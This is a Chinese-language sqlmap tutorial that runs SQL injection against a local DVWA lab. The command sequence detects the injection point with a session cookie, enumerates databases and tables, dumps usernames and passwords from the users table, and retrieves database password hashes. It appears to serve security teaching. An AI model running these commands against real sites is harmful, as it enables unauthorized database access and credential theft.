1.主要功能:
一个用来做sql注入攻击的工具。
扫描、发现、利用给定的url的sql注入漏洞,内置许多绕过插件。
注意:需要python2才能运行,python3不可
2.支持的数据库:
mysql、oracle、sql server、access、DB2、sqlite、postgresql、Firebird、sybase、sap maxDB。
3.采用5种注入技术:
[1]基于布尔的盲注:根据返回页面判断条件真假
[2]基于时间的盲注:使用条件语句查看时间延迟语句是否执行(页面返回时间是否增加)
[3]基于报错注入:返回错误信息,或将注入语句的结果返回页面中
[4]联合查询注入:在允许使用union的情况下注入
[5]堆查询注入:同时执行多条语句注入
4.用法
以DVWA的low等级为实验网站,url为
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/
(1)判断是否有注入点
首先三步拿到url
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#"
注:当注入点后的参数大于等于两个时,需要加双引号
如果出现以下结果则表明sqlmap检测到有可以注入的地方
结果显示如下
发现没有找到注入点。
从结果看发现我们是需要cookie的,然后去dvwa看一下cookie
然后在命令中加入cookie:
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******"
如果出现以下结果则表明sqlmap检测到有可以注入的地方
(2)判断文本中的请求是否存在注入
sqlmap可以从一个文本文件中获取http请求(这样的好处在于:不用设置其他参数,例如cookie、post数据等)
下图1.txt的内容是web数据包
sqlmap.py -r 路径/1.txt
注:-r一般存在cookie注入时使用
(3)查询当前用户下的所有数据库
小提示:首先你要先确定有注入点,才能用该命令查询用户的数据库
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" --dbs
执行后会拿到数据库信息
(4)获取数据库中表的信息
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" -D dvwa --tables
可以拿到dvwa库中所有表的名字
注:将上一条命令中的–table缩写成-T时,表示在某表中继续查询
若在该命令中不加-D参数来指定具体的数据库,那么sqlmap会把数据库中所有表列出
(5)获取表中的字段信息
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" -D dvwa -T users --columns
拿到了表中的所有字段
注:在后续注入中 –columns可以缩写成-C
(6)获取字段内容
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" -D dvwa -T users -C username,password --dump
这里获取的是dvwa数据库里的users表中的username和password的值
(7)获取数据库的所有用户
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" --users
(8)获取数据库
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" --passwords
(9)获取当前网站数据库的名称
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" --current-db
(10)获取当前网站数据库的用户名称
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" --current-user